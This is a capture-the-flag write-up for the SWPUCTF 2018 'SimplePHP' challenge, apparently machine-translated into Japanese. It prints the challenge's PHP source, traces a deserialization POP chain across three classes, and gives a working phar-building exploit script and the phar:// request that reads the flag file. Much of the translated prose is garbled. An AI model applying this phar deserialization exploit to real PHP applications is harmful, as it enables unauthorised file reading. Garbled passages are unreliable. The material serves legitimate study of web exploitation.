[SWPUCTF 2018] SimplePHP

[SWPUCTF 2018] SimplePHP

ファジーテスト

まず最初に、この質問はそれがファイルのアップロードだと思わせるでしょう。何も問題はありません。これはほんの一部です。

ファイルをアップロードすると、「配置」されます。

このプロセスは比較的ファジーであるため、ファジーテストピットと呼ばれます。

image-20200416104034330

見つかったファイルには

ファイル閲覧のタブで確認できますか?File =;この点は言うまでもありません。

image-20200416104309697

すべてのソースコードの規制をかわいい。次のソースコードが生成された場合、ピットをスキップしてください、それはかなり長いです。

まず、file.phpのコンテンツを取得します。

次に、file.phpのソースコードに従ってfunction.php、class.phpを取得します。

次に、base.php(または理解できるindex.php)を取得します。

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

ソースコードを分析する

ホームページのソースコードは 、ファイルのインクルードが確実に除外されることを示しています。

Class.php粗フィルタリングフィルタリングを確認すると、f1ag.phpが実際にフィルタリングされていることがわかります。

次に、質問全体にunserialize();呼び出しはありません。

アイデアを整理する

シリアライズ、アンシリアライズなし()、ファイルのアップロード、pharプロトコルはフィルタリングされません。

明らかにこれはpharの問題です。

ポップチェーン設立

1つは、チェーントリガーを作成する魔法のメソッドを見つけることです。

C1e4rには__destruct()、

__destruct()はPHPのデストラクタメソッドで、オブジェクトが破棄されると呼び出され、プログラムが終了すると自動的に呼び出されてオブジェクトを破棄します。

関数内でechoが見つかった場合は、echo $ this-> testを使用する必要があります。

public function __destruct()
{
        $this->test = $this->str;
        echo $this->test;
}

showクラスに__toString()、

__toStringメソッドは、オブジェクトがechoなどの文字列に変換されると自動的に呼び出され、印刷操作中に呼び出されて文字列を返します。

利用$ this-> str ['str']->ソース;

public function __toString()
{
        $content = $this->str['str']->source;
        return $content;
}

テストクラスには__get()があります

__get()このメソッドは、未定義の属性またはアクセス権限のない属性がアクセスされたときに呼び出されます。

$ this-> get-> $ this-> file_get($ value);を使用します。-> base64_encode(file_get_contents($ value));

public function __get($key)
{
		return $this->get($key);
		
}
public function get($key)
{
       if(isset($this->params[$key])) {
            $value = $this->params[$key];
		} else {
            $value = "index.php";
        }
        return $this->file_get($value);
}
public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

中でもfile_get_contents($値)関数を呼び出すfile_get関数は非常に重要であり、一般的にこれはfile_get_contentsが表示されたときのポップチェーンの終わりと考えることができます。

public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

ポップチェーン全体がトリガーされます

C1e4r :: destruct()->表示:: toString()->テスト:: __ get()。

ポップチェーンを構築する

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

通常のpharサフィックスは禁止されているため、.gifに名前が変更されました。

image-20200416134626333

ファイル名を計算する

file.phpの命名規則に従って計算します

かわいいexp.gifの変更後の新しいファイル名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
其中$_FILES["file"]["name"]=exp exp也就是咱萌上传文件的文件名,不带后缀
$_SERVER["REMOTE_ADDR"]是设定好的174.0.0.201

image-20200416135057669

または...電話を切ります

カタログが開いていても直接利用できますか?

image-20200416134745690

利用

file.phpに次のパラメータを入力します。8d535ac87d69bd2cd99da8e195d7f43bは、計算したファイル名です。

http://c4d2bb44-61f4-4c88-989f-24843ccbae08.node3.buuoj.cn/file.php?file=phar://upload/8d535ac87d69bd2cd99da8e195d7f43b.jpg

base64暗号化コンテンツを取得する

PD9waHAgDQoJLy8kYSA9ICdmbGFnezZkMWE0YTIwLTE4NjItNDExZC05Mzk5LTE0Yjg5MjdhYmYzNH0nOw0KID8 + DQoNCg ==

image-20200416135702549解読する

image-20200416135734308

おすすめ

転載: www.cnblogs.com/h3zh1/p/12712426.html